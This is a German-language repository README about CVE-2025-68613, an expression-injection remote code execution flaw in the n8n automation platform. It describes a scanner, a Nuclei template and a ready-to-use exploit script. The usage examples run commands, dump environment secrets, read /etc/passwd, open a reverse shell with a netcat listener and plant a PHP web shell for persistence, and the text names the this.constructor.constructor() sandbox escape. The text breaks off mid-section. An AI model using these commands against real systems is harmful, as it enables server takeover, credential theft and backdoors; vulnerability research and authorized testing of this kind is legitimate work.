🚨 CVE-2025-68613: Kritische RCE-Sicherheitslücke in n8n

Table of Contents

1. Übersicht
2. Was ist n8n?
3. Grundlagen der Sicherheitslücke
4. Technische Details
5. Betroffene Versionen
6. Ausnutzungsmechanismen
7. Auswirkungen in der Praxis
8. Erkennungsmethoden
9. Behebung & Abschwächung
10. Ressourcen & Referenzen

---

Übersicht

CVE-2025-68613 ist eine kritische Remote Code Execution (RCE)-Sicherheitslücke, die in n8n, einer beliebten Open-Source-Workflow-Automatisierungsplattform, entdeckt wurde. Diese Sicherheitslücke ermöglicht authentifizierten Benutzern die Ausführung von beliebigem Code auf dem Server, was potenziell zu einer vollständigen Systemkompromittierung führen kann.

Kurzübersicht

• CVE ID: CVE-2025-68613
• CVSS Score: 9.9 - 10.0 (Kritisch)
• Vulnerability Type: Expression Injection → Remote Code Execution
• CWE: CWE-913 (Unzureichende Kontrolle von dynamisch verwalteten Code-Ressourcen)
• Attack Vector: Netzwerk
• Authentication Required: Ja (Niedrige Berechtigung - kein Admin-Zugriff erforderlich) |- Status: Proof of Concept verfügbar (funktioniert nachweislich auf v1.121.0)

---

Was ist n8n?

n8n ist eine Open-Source-Workflow-Automatisierungsplattform, die es Benutzern ermöglicht:

• Verschiedene APIs, Datenbanken und Dienste zu verbinden
• Wiederkehrende Geschäftsprozesse zu automatisieren
• Komplexe Workflows ohne umfangreiche Programmierkenntnisse zu erstellen
• Lokal oder in der Cloud bereitzustellen

Warum n8n eine kritische Infrastruktur ist

Organisationen nutzen n8n, um:

• Datenbanken mit Cloud-Diensten zu integrieren
• Datenverarbeitungspipelines zu automatisieren
• CRMs, ERPs und interne Systeme zu verbinden
• Sensible Daten und API-Anmeldedaten zu verwalten

Diese zentrale Rolle in der IT-Infrastruktur macht Sicherheitslücken besonders gefährlich, da sie Angreifern Zugang zu gesamten Netzwerken und sensiblen Daten verschaffen können.

---

Tools in diesem Repository

Dieses Repository enthält einsatzbereite Tools zur Erkennung von Sicherheitslücken und zum Testen von Exploits:

1. Scanner: cve-2025-68613-scanner.py

Zweck: Sichere, nicht ausnutzende Erkennung von anfälligen n8n-Instanzen

Funktionen:

• Passive Versionserkennung aus HTTP-Antworten
• Keine Authentifizierung erforderlich
• Keine Payload-Ausführung
• Überprüft mehrere gängige Pfade (/, /rest/settings, /healthz, /api/v1/health)
• Sicher für autorisierte Sicherheitsbewertungen

Verwendung: python3 cve-2025-68613-scanner.py --target https://target.n8n.instancebash python3 cve-2025-68613-scanner.py -u http://target:5678

**Output**:
- Exit code 0: Nicht anfällig
- Exit code 1: Version unbestimmt (möglicherweise gepatcht oder versteckt)
- Exit code 2: Anfällige Version erkannt

### 2. Nuclei Template: `CVE-2025-68613.yaml`
**Zweck**: Automatisierte Schwachstellenerkennung und grundlegende Ausdrucksauswertungstests

**Funktionen**:
- Erfordert gültigen Authentifizierungstoken
- Testet Expression-Injection-Fähigkeit
- Versucht, den Node.js-Globalkontext zu lesen (process.platform)
- Erstellt Test-Workflows zur Validierung des RCE-Vektors
- CVSS 10.0 Kritische Schweregrad-Einstufung

**Verwendung**:```bash
# Single target with known token
nuclei -t CVE-2025-68613.yaml -u http://target:5678 -v

# Multiple targets
nuclei -t CVE-2025-68613.yaml -l targets.txt

3. Vollständiger Exploit: exploit_cve-2025-68613.py

Zweck: Vollständiger Proof-of-Concept-Exploit mit mehreren Angriffs-Payloads

Funktionen:

• Vollständige Authentifizierungshandhabung
• Mehrere Exploit-Payloads:
  • info: Systeminformationen sammeln (Betriebssystem, Architektur, Node.js-Version, aktueller Benutzer)
  • cmd: Beliebige Systembefehle ausführen
  • env: Alle Umgebungsvariablen extrahieren (gibt Anmeldedaten, API-Schlüssel, Geheimnisse preis)
  • read: Sensitive Dateien vom Dateisystem lesen (SSH-Schlüssel, Konfigurationsdateien usw.)
  • write: Dateien ins Dateisystem schreiben (Persistenz, Hintertüren usw.)
  • revshell: Reverse-Shell-Verbindung für interaktiven Zugriff herstellen
• Automatische Workflow-Bereinigung
• Fehlerbehandlung und Statusmeldung

Voraussetzungen:

• Gültige n8n-Benutzeranmeldedaten (E-Mail/Passwort)
• Python 3.6+ mit der requests-Bibliothek
• Netzwerkzugriff auf die Ziel-n8n-Instanz

Installation:```bash pip install requests chmod +x exploit_cve-2025-68613.py

**Anwendungsbeispiele**:```bash
# Gather system information
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload info

# Execute system command (whoami)
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload cmd --command "whoami"

# Extract all environment variables (credentials, API keys)
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload env

# Read sensitive files
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload read --file "/etc/passwd"

# Establish reverse shell (requires netcat listener)
# On attacker machine: nc -lvnp 4444
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444

# Write a web shell for persistence
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload write \  
  --file "/tmp/shell.php" --content '<?php system($_GET["cmd"]); ?>'

Wie es funktioniert:

1. Authentifiziert sich gegenüber n8n mit den bereitgestellten Anmeldedaten
2. Erstellt einen bösartigen Workflow mit Expression-Injection-Payload
3. Der Payload bricht aus dem Expression-Sandbox aus, indem this.constructor.constructor() verwendet wird
4. Führt den Payload über process.platform oder andere Node.js-APIs aus
5. Ruft die Ergebnisse aus der Workflow-Ausführung ab
6. Räumt auf, indem der Test-Workflow gelöscht wird

Exit-Codes:

• 0: Erfolgreiche Ausnutzung
• 1: Authentifizierung oder Ausnutzung fehlgeschlagen

---

Grundlagen der Schwachstelle

Was ist das Problem?

Einfach ausgedrückt: n8n erlaubt es Benutzern, Ausdrücke (Expressions) in Workflows zu schreiben, um Daten dynamisch zu verarbeiten. Diese Ausdrücke werden jedoch ohne ordnungsgemäßen Sandbox-Schutz ausgewertet, sodass Angreifer aus dem vorgesehenen Ausführungskontext ausbrechen und beliebigen Code auf dem Server ausführen können.

Das Kernproblem